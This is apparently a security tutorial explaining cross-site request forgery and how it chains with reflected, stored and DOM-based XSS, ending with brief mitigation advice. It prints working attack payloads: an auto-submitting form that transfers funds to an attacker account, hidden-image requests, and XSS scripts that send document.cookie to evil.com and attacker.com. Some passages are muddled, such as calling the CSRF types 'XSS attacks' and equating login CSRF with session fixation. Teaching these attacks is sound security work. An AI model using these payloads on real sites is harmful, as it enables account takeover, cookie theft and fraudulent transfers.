What is Cross-Site Request Forgery (CSRF)?

CSRF tricks an authenticated user into unknowingly performing actions on a web application. Since most browsers automatically include session cookies with requests, the forged request appears legitimate to the server—even though the user never intended to make it.

How does CSRF work?

  • User Logs In:

    • User logs into a trusted website (e.g., bank.com) and gets a session cookie.

  • Session Cookie Stored:

    • The browser stores the session cookie and automatically includes it in future requests to bank.com.

  • Attacker Crafts a Malicious Request:

    • Attacker creates a fake request that performs a sensitive action, like:

				
					<img decoding="async" src="https://bank.com/transfer?amount=1000&to=attacker" />

				
			

User Visits Attacker’s Page:

    • The user visits a malicious site or clicks a crafted link.

  • Request Sent Automatically:

    • The malicious request is sent automatically by the browser, with the user’s valid bank.com cookie attached.

  • Server Trusts the Request:

    • Since the request is valid and includes the correct session cookie, the server believes it’s from the legitimate user.

  • Action Executed:

    • The bank processes the request (e.g., transfers money), thinking the user intended it.

CSRF proof of concept

				
					<!-- csrf_poc.html -->
<html>
  <body>
    <h3>Click here for a free gift! 🎁</h3>

				
			

 This is a fake page with a deceptive message to lure the victim into opening it.

				
					    <!-- Hidden form auto-submits to the target site -->
    <form action="http://bank.com/transfer" method="POST" id="csrfForm">
      <input type="hidden" name="amount" value="10000">
      <input type="hidden" name="to_account" value="attacker123">
    </form>

				
			
  • This is a hidden HTML form that sends a POST request to http://bank.com/transfer.

  • It includes two hidden input fields:

    • amount = 10000: The money to transfer.

    • to_account = attacker123: The attacker’s account to receive the funds.

				
					    <script>
      // Automatically submit the form when the page loads
      document.getElementById('csrfForm').submit();
    </script>
  </body>
</html>

				
			
  • The JavaScript automatically submits the form as soon as the page loads.

  • The user doesn’t click anything — the browser silently sends the request.

 

What Makes It Work:

  • If the user is already logged into bank.com in another tab or browser session, their cookies (including session ID) are automatically included in the request.

  • The bank sees a valid session and assumes the user intended to transfer money.

What are the types of CSRF attacks?

There are five main types of XSS attacks. These are:

1. Stored CSRF

The malicious request is stored on the target server, often via user-generated content (e.g., comments, posts). When another user views the page, the malicious code auto-executes.

Example: A CSRF payload is stored in a forum post, and when a user views it, it silently submits a harmful request using their session.

.

2. Reflected CSRF

The CSRF payload is embedded in a URL or form and sent to the victim (via email, ads, or messages). The request is immediately executed when the user clicks the link.

Example: A victim clicks a link like

				
					http://bank.com/transfer?amount=1000&to=attacker
				
			

while logged in.

3. Login CSRF (Session Fixation)

The attacker forces a victim to log in with a known session. The attacker then controls the session and can impersonate the victim.

Example: A CSRF attack that sets a predefined session ID and tricks the victim into using it.

 

 4. CSRF via Image/Tag Injection

Malicious actions are triggered through HTML tags like <img> or <iframe>, using GET requests.

Example:

				
					<img decoding="async" src="http://bank.com/delete_account?id=123" />

				
			

5. DOM-Based CSRF

Involves manipulating the client-side JavaScript or DOM to craft and send malicious requests. Often bypasses traditional server-side protections.

Example: A JavaScript function reads URL parameters and auto-submits a request. 

Reflected CSRF scripting

CSRF — Deeper Breakdown

KEY CHARACTERISTICS:

  • Targets state-changing requests (e.g., POST, PUT, DELETE)

  • Exploits the user’s active session

  • Invisible to the victim (usually)

CSRF Vulnerability Prerequisites:

  1. No CSRF token or broken implementation

  2. Cookies used for authentication (especially if SameSite=None or lax)

  3. A sensitive endpoint that accepts requests from any origin

 ADVANCED CSRF Payload Techniques:

				
					<img decoding="async" src="https://target.com/updateEmail?email=hacker@evil.com" style="display:none;" />

				
			

Or use JavaScript to auto-submit a POST request via <form>:

				
					<form id="csrf" action="https://target.com/changePassword" method="POST">
  <input type="hidden" name="password" value="hacked123">
</form>
<script>document.getElementById('csrf').submit();</script>

				
			

Reflected XSS — Deeper Dive

 KEY CHARACTERISTICS:

  • Input from user is reflected in the HTTP response

  • No sanitization

  • Executes immediately, not stored

 Reflected XSS Attack Example:

				
					https://vulnerable.com/search?q=<script>fetch('https://evil.com/'+document.cookie)</script>

				
			

That payload executes if the server reflects q directly into the DOM without sanitizing.

CHAINING: CSRF + Reflected XSS = Hybrid Attack

CHAIN ATTACK IDEA:

  1. You embed a CSRF attack into a malicious site

  2. The request sent triggers a reflected XSS endpoint on the target domain

  3. Because the victim is authenticated, the response executes the reflected script in their session

Outcome: Cookie theft, session hijack, or privilege escalation, depending on how much control you have.

 COMBO PAYLOAD EXAMPLE:

Let’s say the vulnerable endpoint reflects a query parameter msg:

				
					https://target.com/welcome?msg=<script>new Image().src='https://attacker.com/'+document.cookie</script>

				
			

You trick a logged-in admin into visiting a page that:

  1. Sends a POST CSRF to change the admin panel notice/message.

  2. The new message contains the XSS payload.

  3. Next time an admin or user visits the panel → BOOM, XSS fires.

BONUS — Exploiting CSRF via XSS

Sometimes you don’t exploit CSRF with XSS — you exploit CSRF using XSS:

  1. You inject XSS into a site (via any vector).

  2. That script sends forged POST requests using fetch() or XMLHttpRequest, bypassing CSRF protections if SameSite isn’t set.

				
					fetch("https://target.com/deleteUser", {
  method: "POST",
  credentials: "include"
});

				
			

If the backend doesn’t verify CSRF tokens properly, you’re now using XSS to forge CSRF – double whammy.

Extra Sauce: CSRF via JSON endpoints

Sometimes, CSRF attacks target AJAX/JSON APIs:

				
					fetch('https://target.com/api/account/update', {
  method: 'POST',
  credentials: 'include',
  headers: {'Content-Type': 'application/json'},
  body: JSON.stringify({email: "evil@hacker.com"})
});

				
			

Works only if:

  • No CSRF protection

  • CORS misconfiguration or open origins

Stored CSRF scripting

Attack Flow: Stored XSS via CSRF = Stored CSRF

 Full Exploitation Chain:

  1. The app has a form or API that accepts input (e.g., a comment, profile field).

  2. There’s no CSRF protection → attacker can forge a request.

  3. The input is not sanitized → attacker can inject a <script>.

  4. When another user loads the page → script executes (Stored XSS).

Example: CSRF-Stored XSS Attack

 HTML Payload

				
					<form action="https://vulnerable.com/updateBio" method="POST">
  <input type="hidden" name="bio" value="<script>fetch('https://attacker.com/'+document.cookie)</script>">
  <input type="submit">
</form>
<script>document.forms[0].submit();</script>

				
			

Conditions Required:

  • No CSRF token required

  • Server stores the value in bio directly

  • When users visit the profile → script runs

 You just weaponized a CSRF hole to drop a persistent JavaScript implant — now that’s some Ghost-in-the-Shell level sorcery.

				
					<p><script>/* Bad stuff here... */</script></p>
				
			

DOM-based CSRF scripting

Standard CSRF relies on the browser auto-sending cookies in cross-site requests.

But DOM-based CSRF is a twist — it happens entirely on the client side, where the vulnerable JavaScript in the page constructs a sensitive request based on DOM data (like window.location, hash, or query params) — and no CSRF token is validated.

 It’s a CSRF-like effect caused by insecure JavaScript logic, not server-side request forgery directly.

DOM-Based CSRF = Insecure JS + No CSRF Token Check

 Attack Vector:

You find JS like:

				
					let email = new URLSearchParams(window.location.search).get("email");
fetch("/changeEmail?email=" + email, { credentials: "include" });

				
			

And then craft a malicious link:

				
					https://target.com/profile.html?email=hacker@evil.com

				
			

When the victim visits this page while logged in, their browser sends an authenticated request to change their email to hacker@evil.com, triggered by the page’s own JS, not an external one.

 This bypasses standard CSRF protections because the request is made by the page itself!

Conditions That Make It Work:

  • Authenticated session (cookies auto included)

  • No CSRF token verification

  • JavaScript that performs sensitive actions using URL input

DOM-CSRF Payload in Action

				
					<a href="https://target.com/profile.html?email=hacker@evil.com" target="_blank" rel="noopener">Click me 😈</a>

				
			

How to Mitigate DOM-Based CSRF

  1. Validate all input used in client-side request construction

  2. CSRF tokens — even for AJAX requests

  3.  Never trigger sensitive actions on page load or URL param alone

  4.  Enforce strict CORS, use SameSite cookies